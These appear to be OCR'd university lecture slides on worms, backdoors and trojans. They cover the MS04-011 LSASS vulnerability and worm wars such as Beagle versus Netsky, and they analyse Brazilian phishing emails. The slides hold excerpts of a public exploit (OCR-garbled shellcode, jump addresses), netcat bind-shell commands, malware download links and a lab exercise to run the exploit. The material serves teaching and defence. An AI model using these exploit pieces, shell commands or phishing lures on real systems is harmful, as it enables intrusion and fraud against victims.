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Invasion of Body Snatchers...
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Body Snatchers

or When Worms became Mules...

Interaction

@ Intentional or accidental.

o Cooperation:
o W32/CTX was a 1999 virus released on a worm called
W32/Cholera.
e The worm acted as a “dropper” of the virus.
http://www.symantec.com/security_response/writeup.jsp?docid=2000-121515-5132-99
o Competition:
o CodeRed vs. CodeGreen:
used the same |IS vulnerability exploited by CodeRed.
. removed:
— CodeRed infection;
— backdoors of CodeRed variants;
— the vulnerability (patching it).
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Body Snatchers

CodeGreen's Malformed HTTP Request

Trojan Horses General
0000000000000000000 o

GET /default.ida?Code_Green <I_like the colour-_-><AntiCodeRed-

CodeRedIII-IDQ Patcher> V1.0 _beta written_ by 'Der HexXer'-
Wuerzburg_Germany-_is_dedicated to_my_sisterli_'Doro'.
Save_Whale_and_visit_<http://www.buhaboard.de>_and_http://www.buha-security.de

Source: http://www.informit.com/articles/article.aspx?p=366891&seqNum=8
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Example of Accidental Interaction

Antivirus disinfects the / \
known virus but does not
recognize the worm ' '

- Computer worm

- File infector
virus

- Mutated worm
(disinfected from
the known virus)

Source: Peter Szor, The Art of Computer Virus, Symantec Press, 2005.
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Worms at War

Source: http://dudekpro.deviantart.com/art/Worms-Clan-Wars-Icon-514175665
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Worms at War

Spring 2004...

MS Security Bulletin 04-011 -

o Update for Windows 98, NT 4.0, 2000, XP, Server 2003.

@ Impact of vulnerability: Remote Code Execution.
@ Attacks LSASS (Local Security Authority Subsystem Service):

e mgmt interface for local sec., domain auth., and AD processes;
e handles auth. for both cli and srv.

Cause: buffer overrun.

Exploit: specially crafted message.
Consequences: affected system executes code.
Vulnerable ports: 135, 139,445, 593 (TCP).

Source: https://technet.microsoft.com/en-us/library/security/ms04-011.aspx
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Worms at War

Spring 2004...

MS Security Bulletin 04-011 -

e Cause: lack of input validaton (message processing).

e Exploit: specially crafted LDAP (Lightweight Directory
Access Protocol) message for LSASS on Domain Controllers.

@ Consequences: LSASS stops responding; OS restarts.
@ Vulnerable ports: 389, 636, 3268, 3269 (TCP).

Source: https://technet.microsoft.com/en-us/library/security/ms04-011.aspx
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Worms at War

MS04-011

Vulnerability Identifiers Impact of Vulnerability = Windows 98, 98 SE, ME = Windows NT 4.0 = Windows 2000 Windows XP | Windows Server 2003
LSASS Vulnerability - CAN-2003-0533 Remote Code Execution None None Critical Critical Low
LDAP Vulnerability - CAN-2003-0663 Denial Of Service None None Important None None
PCT Vulnerability - CAN-2003-0719 Remote Code Execution None Critical Critical Important Low
‘Winlogon Vulnerabil - CAN-2003-0806 Remote Code Execution None Moderate Moderate Moderate None
Metafile Vulnerability - CAN-2003-0906 Remote Code Execution None Critical Critical Critical None
Help and Support Center Vulnerability - CAN-2003-0907 Remote Code Execution None None None Critical Critical
Utility Manager Vulnerability - CAN-2003-0908 Privilege Elevation None None Important None None
Windows Management Vulnerability - CAN-2003-0909 Privilege Elevation None None None Important None
Local Descriptor Table Vulnerability - CAN-2003-0910 Privilege Elevation None Important Important None None
H.323 Vulnerability* - CAN-2004-0117 Remote Code Execution Not Critical None Important Important Important
Virtual DOS Machine Vulnerability - CAN-2004-0118 Privilege Elevation None Important Important None None
Negotiate SSP Vulnerability - CAN-2004-0119 Remote Code Execution None None Critical Critical Critical
SSL Vulnerability - CAN-2004-0120 Denial Of Service None None Important Important Important
ASN.1 "Double Free" Vulnerability - CAN-2004-0123 Remote Code Execution Not Critical Critical Critical Critical Critical
Aggregate Severity of All Vulnerabilities Not Critical Critical Critical Critical Critical
: :
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Worms at War

MS04-011

Vulnerability Details

LSASS Vulnerability - CAN-2003-0533:

A buffer overrun vulnerability exists in LSASS that could allow
remote code execution on an affected system. An attacker who
successfully exploited this vulnerability could take complete control
of the affected system.

Source: https://docs.microsoft.com/en-us/
security-updates/securitybulletins/2004/ms04-011
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Worms at War

MS04-011

Mitigating Factors for LSASS Vulnerability - CAN-2003-0533

@ Only Windows 2000 and Windows XP can be remotely
attacked by an anonymous user. While Windows Server 2003
and Windows XP 64-Bit Edition Version 2003 contain the
vulnerability, only a local administrator could exploit it.

@ Firewall best practices and standard default firewall
configurations can help protect networks from attacks that
originate outside the enterprise perimeter. Best practices
recommend that systems that are connected to the Internet
have a minimal number of ports exposed.
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Worms at War

MS04-011

Workarounds for LSASS Vulnerability

@ Use a personal firewall such as the Internet Connection
Firewall, which is included with Windows XP and Windows
Server 2003.

@ Block the following at the firewall:

e UDP ports 135, 137, 138, and 445, and TCP ports 135, 139,
445, and 593

o All unsolicited inbound traffic on ports greater than 1024
e Any other specifically configured RPC port
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Worms at War

MS04-011

How to exploit?

e Compile PoC from [1].

@ Usage: exploit.exe <Target> <Victim> <Bindport>
[options]
Target OS: 0 - Win XP PRo; 1 - W2K Pro; ...

@ Works on XP before SP2.
@ Attacker may then use netcat to connect back.
@ Detailed info: ms04011.c (Let's see it!).

[1] http://downloads.securityfocus.com/vulnerabilities/exploits/HOD-ms04011-1sasrv-expl.c
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MS04-011: Code Excerpts

// reverse shellcode

unsigned char reverseshell[] =

"NXEB\ 1@ 5B x 4B\ X33\ x (I X661\ xBI\x 25\ x0T\ kB0 \x34\ @B\ x99\ xE2\ xFA"
"\ XEB\x@5\XEB\XEB\XFF\XFF\xFF"

NTONKEZ N ITNKIPKIP K OB\ KFDAXIBAKATN XD\ K99\ XI\x 12\ XD\ X A5\ x 12"
"NXEINxBEAX3ANHI2NXFIAXI T\ x 124 X6 ENx F 3\ x 0D\ xCO\xT 1\ x 02} X991 x99 x 99"
N XTBA B0 X F LY AANXAB\ x99\ x99\ X FI\XEE\xEA\ xAB\xCE\x D\ x 66\ xBF \ x12"
VTN FIN I X COY T 1T\ x 1B\ x99\ x 39\ x 39\ x 7B\ x68\x 18\ x 75\ x09" x 98 x 99"
Y89\ xCDYxFL1Y x 984\ x 98\ x99\ x 99\ x66x CFAXBI\xCI\xC\xCO\ xCI\ xDI\xCI"
"y xDIN\xCAYxB6Y X CFYx8D\x 12\ x 41\ x F1\xE6\ x99, x99\ x98\xF1} x 9B\ x99\ x9D"
Y ABA 12N 55N FINKBI R CBA X CANXEB\XCFAXBI\X1C\ x5 9\ ECY xD3\ xF1\xFA"
NRFANFDAX I X 1B\ XFFAXAG X TAN KT 5\ CO\X 14\ xA5 \xBD\xF3, xBC\ xC@\x32"
"NKTBAXB4N\XSFAKDDAXBD\ X8I\ XDDAXE T\XDD\XBD\ XA4\ X 1@\ xC5\ XBD\ xD 1\ x 10"
"NKCSNXBDN DS\ K 1@\ XCE\XBDY X CON X 1\ X DD\ xBD\ xB A\ XCD\xCO\ X CB\ xCB\x (8"
"WXF3\XIB\XCBY\XCBAXEE6\XEF\ X AP\ XCBAXE6\XCF\XID\x12\X55\ XF3\ x66\X66"
"N XAB\XBE \XCFY X I\ XCA\XBE\ X CFAXB5\x66\xCF\x95\xCBAXCFy x 12\ xDC\ xA5"
N IZNRCDNXBINKEL X OA AT\ X CBAX 12\ X EB\xBI\xOA\XBC\xAAN x50 xDB\ xDB"
N3N XGANXSCUXARN XA2\ X 96\ x 27\ xBINX AT\ X AP\ XED\xI T\ x5BY x521 xB4 4 x 94"
"y xd3N\xDOY X T2 x6B\ A2\ x 86\ X ECY xTE\x (34 x 12\ xC3\xBD\x 9A\ x 44\ xFF\x12"
"\ B55\xD2Ax 124 x C3W xB5\ x 9AN x4\ x 1 2\ x 9D\ x 12\ x9AN\ X5 CAx 32\ xCT\ x (@ \ x5A"
NXTINXIINRBEN K66\ XBE\ LT\ XDTAXITAXT5\KEB\ X6 7 \x2A\xBF \ X34\ x4\ x9C"
NXSTARTEARS TAXTINKF IO ZAXTAN KO DA A\ x40\ X9\ X6 C\ X34\ X T5\ XD\ X 33"
"NXFONKTENKE@\XSF\XER" ;

0000000000000 000000
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Worms at War
MS04-011: Code Excerpts

struct targets {
int num;
char name [50] ;
long jmpaddr;
} ttargetll= {
{ @8, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll”, @x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll”, @x751c123c }, // jmp ebx addr
//{ 3, "reboot", exffffffff }, // crash
{ NULL ¥

Backdoors & Trojan Horses

Dinf/UFPR

00




Attack Strategies Backdoors
©00000000000000e000000000 000000000

Worms at War

MS04-011: Code Excerpts

: eb 10
2: b5b
3: 4b
4: 33 9

6: 66 b9 25 01

Trojan Horses

General

0000000000000 000000 (o]

Jmp
pop
dec
Xor
mov

0x12

ebx

ebx
ecx,ecx
cx,0x125

Decoded results
CreateProcessA
ExitThread
LoadLibraryA
WaitForSingleObject

SOU FCE. nttps://defuse.ca/online-x86- bler.htm#di
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MS04-011: Exploit Results

® Norton AntiVirus

Virus Alert

1 E Norton AntiVirus has detected a virus on your computer.
.

Object Name: C:\HOD-ms040114sasrv-expl.exe
Virus Name: Hacktool.LsassSba
Action Taken: Unable to repair this file,

Source:

https://pen-testing.sans.org/resources/papers/gcih/exploiting-1lsass-buffer-overflow-106640
:
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Worms at War

MS04-011: Exploit Results

System Shutdown |

This system is shutting down. Please save all
work in progress and log off. &ny unsaved
changes will be lost. This shutdown was
initiated by NT AUTHORITYASYSTEM

Time before shutdown :  00:00:53

e
The spstem process
TAWINNT \system32\|sass. exe' terminated
unexpectedly with status code 128, The
system will now shut down and restart.

Source:nttps:

//pen-testing.sans.org/resources/papers/gcih/exploiting-1sass-buffer-overflow-106640
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Worms at War

The Rise of Mutants

@ The Beagle (a.k.a. “Bagle") was a 2004 mass mailer.
@ Beagle.A targeted any email addr. found on the local machine.
It opened a backdoor on TCP port 6777.

@ Beagle.B opened a backdoor on TCP port 8866 with remote update
and control functions;
generated a random ID value for each victim and sent it (HTTP
GET) = Catalog of infected machines.

@ Beagle.C, Beagle.D, Beagle.E ...

@ Beagle.F disabled autoupdate; opened TCP port 2745;
exfiltrated data to owned servers;
harvest/mass email by itself.

Source: http://www-personal.umich.edu/~rsc/Resources/Beagle_Lessons_1.pdf
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Worms at War

The Rise of Mutants

]

|

D —— - R —
User receives email Beagle mass mail  Creates EXE files, infects
message and opens infection and PEs on local host, scans

attached Beagle propagation routine. for email addresses,
code EXE. begins mailing copies of
HTML message...

Figure 1: Beagle mass mailer propagation scheme.

From: [spoofed address selected from infected machine]

Subject: Hil :-)

I love to dance, read poetry, make people laugh, and hug as many people
a day as i can.

password for archive: [5-digit password]

t: Sara.zip

Figure 2: Sample Beagle.F message.

Source: http://www-personal.umich.edu/~rsc/Resources/Beagle_Lessons_1.pdf
| |
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Trojan Horses
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@ Beagle.M: polymorphic; removal of Netsky; pwd as figure.

@ Beagle.N-Z and more...

General
o

From: support@[your domain]
Subject: E-mail account

disabling warming.

—

N\

Email with
attached worm.

Upon
execution

-Terminates certain security processes.
-Adds Regisiry keys fo force auto-startup.

%%SYSTEM%winupd.exe
%SYSTEM%winupd.exeopen
%SYSTEM3e\winupd exeopenapen

%SYSTEM%\winupd.execpenopenopen

-Deletes "Netsky" Keys.

-Opens backdoor.

ﬁ Creates 17 copies in each "shar" directory.

<] Scans local machine for addresses and
sends worm to next set of targets.

Figure 4: Beagle.M infection components.

Source: http://www-personal.umich.edu/~rsc/Resources/Beagle_Lessons_1.pdf
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Worms at War

Worms War

Beagle vs. Netsky

o Beagle variant to Netsky: “Wanna start a war?".

@ Netsky.d variant removed Beagle executable on infected PCs.
o Netsky replied: “Bagel - you are a loser”
o

These 2 (and MyDoom) mass-mailers accounted for >
infections in 2mo. than all 2003 malware...

Source: http://www.accountingweb.co.uk/topic/business/net-users-caught-worm-war-crossfire
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Worms at War

Worms War

Sven Jaschan (malware developer)

@ Author of Netsky and Sasser.

@ Sophos credited to him 70% of infections
detected on 1s2004.

17 years old then.

At 19, convicted to lyr., 9mo. probation.

(Source:
http://totallytop10.com/

o wp-content/uploads/
hOSpIta|. 2010/08/ jaschan. jpg)

30 hours community service at German

no fines.
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Worms at War

Lebreat vs. Sasser

Worm's message

Netsky (SkyShit) ,Beagle or
Bagle,Mydoom and Sasser bye bye

9 bitchs. It will be my game cuz the
fbi or police are not searching for
me to arrest me like ya sasser
100000000000000000000000000000001
(next variants will use a better
engine to send thousands of copies to
users.) :P

Source: https://www.sophos.com/en-us/press-office/press-releases/2005/07/va_lebreatd.aspx

Bitch F

1.
1
1
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Worms at War

W32 /Lebreat-D

Lebreat is a mass-mailing worm and backdoor Trojan (for windows).

https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Lebreat-D/
detailed-analysis.aspx
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Backdoors

Definition

A backdoor is a program that allows attackers to bypass normal
security controls on a system, gaining access on the attacker’s own
terms.

Source: Skoudis, E., Zeltser, L. Malware: Fighting Malicious Code. Prentice
Hall, 2004.
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Backdoor vs. Trojan

Do not mix the terms!

@ Backdoors: simply give access to a compromised system.

e Trojan horses: pretend to be a legitimate/useful program or
resource.
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Backdoor Access

Types of access

@ Local escalation of privilege: change level to root/admin.

@ Remote execution of individual commands: send one
command, the BD runs it and returns the output to the
attacker.

@ Remote command-line access: remote, fully-powered shell.

@ Remote control of the GUI: mouse movements, keystrokes,
watch victim's actions through the network.
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The Networking Swiss Army Knife

@ Make connections between programs and the network.
@ Connects STDIN/STDOUT to any TCP/UDP port.
@ Listen mode waits for network data:
e nc -1 -p 1337 -e /bin/bash
@ Client mode initiates a connection accross the network:
e nc <BACKDOOR_IP> 1337
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Netcat Example [l]

netcat -1 -p 12345 -e /bin/bash

Attacker

nc 0.0.0.0 12345

nc: using stream socket

W

11:08:17 up XX days, 11:00, 2 users, load average: 0.03, 0.05, 0.05
USER TTY LOGING@ IDLE JCPU PCPU WHAT

gregio pts/3 11:04 17.00s 0.04s 0.01s w

gregio pts/4 11:07 1.00s 0.02s 0.00s nc 0.0.0.0 12345

Backdoors & Trojan Horses Dinf/UFPR



Attack Strategies Backdoors Trojan Horses General
000000000000000000000000 00000000 0000000000000000000 o

Netcat Example [ll]

Attacker: Reconnaissance

nmap -A -T4 192.168.56.101

Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-29 13:13 BRT
Nmap scan report for 192.168.56.101

Host is up (0.00031s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntul.4 (Ubuntu Linux; protocol
2.0)
2222/tcp open EtherNet/IP-17

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
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Netcat Example [llI]

Attacker: Shell Listener@Victim
nc 192.168.56.101 2222

Is
Honeyd-master
master.zip

w

11:54:29 up 22 min, 1 user, load average: 0.00, 0.01, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
honeyd ttyl 11:47 13.00s 0.39s 0.00s w

pwd
/home/honeyd
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Other Examples
o Cryptcat:
o Netcat + Cryptography (encrypted traffic!)
e http://cryptcat.sourceforge.net
e TightVNC (Remote Desktop Control):
o GUI + client/server architecture
e http://www.tightvnc.com
:
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Backdoor Defenses

Hardening;
Periodic updates/patch application;

Looking for local port listeners;

Firewall deployment and policy (block input).
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Trojan

Definition

A Trojan Horse is a program that appears to have some useful or
benign purpose, but really masks some hidden malicious
functionality.

Source: Skoudis, E., Zeltser, L. Malware: Fighting Malicious Code. Prentice
Hall, 2004.
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Trojans [l]

Goals

@ Deceiving users into installing the Trojan:

e the unsuspecting user become an access vector for the Trojan
on the system.

@ Being disguised with normal programs on the compromised
system:

e Trojans' camouflage intends to turn users/admins unaware of
their presence.
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Trojan Propagation [I]

@ Old reliable techniques still working (same as 15-20 years ago).

Social Engineering

@ Violation of trust = most effective method for malware
spread!

@ Involves crafting a story delivered to a victim, waiting for her
to perform some steps that cause an infection.

@ The story should be “believable”, but in most cases it is not:

e bad plot, grammar, figures, motivation...
@ even so, it works!
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Trojan Propagation [lI]

File Execution

@ Most straightforward method for malware infection:
o used together with social engineering (e-mail attachments or
links).
@ File may be renamed to deceive the user:

o Interesting.jpg .exe
e iexplore.exe, services.exe, smss.exe etc.

e Malicious code may be embedded/encapsulated:

e .FLV (Flash), .DOC, .XLS, .PPT, .PDF, .VBS, .JS, .BAT,
.CPL (Control Panel) etc.

Backdoors & Trojan Horses Dinf/UFPR
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Examples [l]

Tribunal Superior Eleitoral
To:
Protocolo de Cancelamento

Esta mensagem refere-se ao Tribunal Regional Eleitoral; (TRE)

Bem-vindo(a) ao TRIBUNAL REGIONAL ELEITORAL
Praga dos Tribunais Superiores — Bloco C

CEP: 70.096-000 — Brasilia/DF — (61) 3316.3000
Fax: (61) 3322.06030633094 10642

Brasilia, 25 de Setembro de 2014,

Infarmamos que seu titulo eleitoral teve um cancelamento provisério.
© motivo do cancelamento foi uma irreqularidade em seu Cadastro de Pessoa Fisica (CPF).

Para saber mais detalhes sobre sua pendéncia, e quais providéncias tomar, leia o regulamento acessando o link abaixo:

Em Anexop, segue o documento: TRE PROTDOC25092014.pdf

(*) Este e-mail foi enviado mediante a solicitagéo, Tribunal Regional Eleitoral (TRE).
Fawor ndo responder. Em caso de dividas, entre em contato com info@tre-jus.br

Backdoors & Trojan Horses DInf/UFPR




Attack Strategies Backdoors Trojan Horses General
000000000000000000000000 000000000 00000e0000000000000 o

What? [I]

After accessing the link:
@ www.key2web.be/ursib/xmlrpc/includes/framw/
@ Downloaded “TRE_PROTDOC29092014.com”
o File type:
PE32 executable for MS Windows (GUI) Intel 80386
32-bit
@ VirusTotal:

e 2014-09-29 = Detection rate = 4/53
e 2014-10-02 = Detection rate = 23/55

:
Backdoors & Trojan Horses DInf/UFPR
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Examples [l1]

Comprovante de Deposito
To
Adriano Rabelo

TED - Transferéncia Eletrénica Disponivel

Arquivo(s) em Anexo(s) : Comprovante TED22-04-2014.rar ( 236 KB )

Desculpe a demora mais 56 agora consegui realizar a transferéncia,
sSegue na mensagem em anexo o comprovante de transferéncia.
Qualguer divida estou a disposigdo.

Atenciosamente.

Adriano Rabelo

: :
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What? [Il]

http:/igoo.gl/I37TAa — this goo.gl shortlink has been disabled. It was found to be violating our
Terms of Service. Click here and here for more information about our terms and policies
respectively.
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Examples [Il1]

Itaa

Prezado(a) Cliente: Cliente

Lembramas vocé gue em nosso sistema ainda ndo consta a SincrenizacSo de seu iToken/ Tabela de seguranga.
O seu prazo para sincronizacde foi prorrogado e devera ser efetuade até o dia 29/09/2014,

Evite o blogueio do acesso @NLINE da sua conta na Internet e também do acesso nos Caixas eletrGnicos Ttad fazendo
agora mesmo a Sincronia Semestral.

Cligue no link abaixo para inidiar:

INICIAR JA SINCRONISMO

*Se vock ja efetuou o recadastramento desconsidere estad mensagem.
Atenciosamente,
Banco Itad

Backdoors & Trojan Horses DInf/UFPR
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What? [III]

STOP - there might be a p with the requested link

The link you requested has been ideniified by bitly as being potentially problematic. This could be because a bitly
user has reported a problem, a blacklist service reported a problem, because the link has been shortened more
than once, o because we have detected potentially malicious content. This may be a problem because:

« Some URL-shorteners re-use their links, 5o bitly can't guarantee the validity of this link.
« Some URL-shorteners allow their links to be edited, so bitly can't tell where this link will lead you.
+ Spam and malware is very often propagated by exploiting these loopholes, neither of which bitly allows for.

The link you reguested may contain inappropriate content, or even spam or malicious code that could be
downloaded to your computer without your consent, or may be a forgery or imitation of ancther website, designed to
trick users into sharing personal or financial information.

bitly suggests that you
= Change the original link, and re-shorten with bitly
« Close your browser window
« Notify the sender of the URL

Or, continue at your own risk to
iilinisch.inalpds/0t.he

‘ou can leam mora about harmful contant at www SiopBadwara.org Not Found

‘You can find out more about phishing from wurw.antiphishing org
For mora infarmation o ta report a falsa positive plaase contact cupporloity.com

URL ica/Sincronismo/?
AUTENTICA=H OBTOVUZL DKIGY:
‘was not found on this server.

Read more about bitly's spam and antiphishing partners here
Publish with bitly and protect your links

aokithai com

Backdoors & Trojan Horses DInf/UFPR
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Examples [IV]

Banco do Brasil
To:
Novo acesso via token.

: -
Banco do Brasil » BB Internet Banking
Prezado Clienta,

0 Banco do Brasil trabalha cont nte p ter-ze se izado com o mais alto nivel de seguranca. Langames o
BB- Token pars maicr seguranga de nossos oorrantstas pu( |aao estamos solictando o cadastro imedisto para uso do BB-
Token.

Astualizagio sera automética apds o seu cadastro em nosso sistema, @ voo estard recebendo no conforts de sua residéncia ol
escritério no prazo de 10 diss o seu BBE-Token que serd abrigatéric para acessar sua conta comante.

O cadastro @ obrigatsrio, o nio no_blogueic ico de sua conta, sendo necessdrio o
comparecimento em sua agéncia para cadastramento & regularizagio. No perca tempa & faga agora o cadastramento, receba o
BB-Token & evite o bloqusio de sua conta.

Cligue aqui, cadastre sua conta e receba seu BB-Token em casa

Atenciosamente,
Banco do Brasil

Autenbcagio: 2016631132000

Backdoors & Trojan Horses DInf/UFPR
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What? [IVa]

2

(4 AGLOIAERT i Ento)

&

Acessar

Material de Construgéo
Parcsle materisl s

uisicao
‘construgao e reaize o sonho de reformar a
suacasa. Smue.

Backdoors
000000000

A\ rea Logada

Trojan Horses

00000000000 e0000000

@ Atendmento €3 SACBB & Ouvidoria & Ajuda

Banco do Brasil

Internet Banking

RECADASTRAMENTO DE SEGURANGA

Aviso do Banco do Brasil para seus respectivos. clientes

Informamos que a realivagao prevenivo de seguranga online do Banco do Brasil & uma operagao
obrigatéria, que soluciona @ corrige problemas na seguranga de dados de nossos dlientes, possibiltando

‘assim mais conforlo, rapidez e seguranga nas lransages al

ravés do sistema online

Caso nio for constatado a reativagao preventivo de sequranca, o acesso a operagdes bancrias sera
Suspensa por medidas de seguranga

* A operagao & répida e féci, no deve demorar mais de 5 minulos, apés a realizagdo desta operag@o o
nosso sistema enviaré um e-mail de confimagao de seus dados cadasirais,

* Clique no botao Acessar para iniciar a reativagao.

Crédito Consignado INSS

ntado, tem crédto com preco
s barato o Laa do s a part e 0750
30 més. Simule.

> (1Y

Banco do Brasil SIA - Campanha de Sequros - Todos 0s direilos reservados.

BB Crédllo Veiculo

Quem faz as contas financia o carro no
Banco 9o Brasi < tom ate 180 das para
‘comegar a pagar.

Eletroeletrénico

Use o cartao Ourocard para parcelar suas
compras,_Taxas de juros maxima de- 1,08%
a0 mes. Simue.

General
o
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What? [IVb]

Senha de (6):
- Senha de (4):
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What? [IVc]
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What? [IVd]
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What? [IVe]

Para finalizar.informe o CODIGO SMS enviado para o celular
cadastrado no auto-atendimento BB.

Codigo SMS:

Em até 2 minutos vocé ird receber o codigo SMS em
seu celular.

ll umesr || ] avancar |)

General
o
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What? [IVf]
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Example [V]

YouTube : Uima Declaragao de Eduardo Campos - REPASSEM

i)

Veja a ultima declaracdo de Eduardo Campos antes da morte,
REPASSEM

Cligue agui para visulizar o video

{1 Tube]

0007656 o | =N | E9

Atenciosamente, Equipe vouTube 2014 veuTube, LLC -

Backdoors & Trojan Horses
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What? [V]

e http://bit.ly/1uCglfk
expands to:

@ http://xx.yyy.zzz.76/declaracaoeduardo/Video.
EduardoCampos.flv.zip

o CPL: PE32 executable for MS Windows (DLL) (GUI)
Intel 80386 32-bit

@ VirusTotal:
2014-10-02_16:57 = Detection rate = 3/55
2014-10-02_18:29 = Detection rate = 6/54

@ Gen:Variant.Delf.284; Trojan.Win32.Generic. AfKv;
Gen:Variant.Delf.284:
HEUR:Trojan-Downloader.Win32.Generic; Trojan.Downloader;
Gen:Variant.Delf.284

Backdoors & Trojan Horses Dinf/UFPR


http://bit.ly/1uCglfk
http://xx.yyy.zzz.76/declaracaoeduardo/Video.EduardoCampos.flv.zip
http://xx.yyy.zzz.76/declaracaoeduardo/Video.EduardoCampos.flv.zip

Attack Strategies Backdoors Trojan Horses General
000000000000000000000000 000000000 0000000000000000000 °

Optional Hands-On

Challenge

@ Install a copy of MS Windows XP SP1 in a virtual machine
(e.g. VirtualBox).

@ Compile the MS04-011 exploit shown in this class.

© Start a sniffer to tap the connection between the attacker’s
machine and the target.

@ Try to exploit the vulnerable service running on the guest.
© Analyze the captured network traffic and report the findings.
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